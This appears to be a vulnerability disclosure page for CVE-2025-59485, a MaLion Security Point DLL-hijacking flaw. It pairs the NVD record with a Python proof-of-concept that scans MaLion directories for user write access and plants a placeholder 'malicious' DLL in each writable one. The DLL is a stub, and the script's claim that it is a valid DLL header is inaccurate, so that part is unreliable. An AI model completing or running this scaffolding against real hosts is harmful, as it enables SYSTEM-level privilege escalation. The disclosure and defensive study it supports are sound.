CVE-2025-59485

#!/usr/bin/env python3 # CVE-2025-59485 PoC - MaLion Security Point DLL Hijacking # This PoC demonstrates the permission issue that allows placing arbitrary files import os import shutil import time def check_vulnerable_path(base_path): """Check if the target path has insecure permissions""" test_file = os.path.join(base_path, "test_write_permission.txt") try: with open(test_file, 'w') as f: f.write("test") os.remove(test_file) return True except PermissionError: return False def create_malicious_dll(output_path): """ Generate a malicious DLL that will execute code with SYSTEM privileges This is a template - actual DLL would contain malicious payload """ dll_content = b'MZ' + b'\x00' * 50 # Minimal valid DLL header dll_path = os.path.join(output_path, "MaLionModule.dll") with open(dll_path, 'wb') as f: f.write(dll_content) print(f"[+] Malicious DLL created at: {dll_path}") return dll_path def main(): # Target paths that may have insecure permissions target_paths = [ r"C:\Program Files\MaLion\temp", r"C:\Program Files\MaLion\config", r"C:\ProgramData\MaLion\temp", r"C:\Users\Public\MaLion" ] print("[*] CVE-2025-59485 - MaLion Security Point DLL Hijacking") print("[*] Checking for vulnerable paths...") for path in target_paths: if os.path.exists(path): print(f"[+] Found MaLion directory: {path}") if check_vulnerable_path(path): print(f"[!] VULNERABLE: {path} is writable by current user") create_malicious_dll(path) else: print(f"[*] Path not writable: {path}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-59485", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:53.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect default permissions issue exists in Security Point (Windows) of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a specially crafted DLL file, arbitrary code could be executed with SYSTEM privilege."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN76298784/", "source": "[email protected]"}, {"url": "https://www.intercom.co.jp/information/2025/1125.html", "source": "[email protected]"}]}}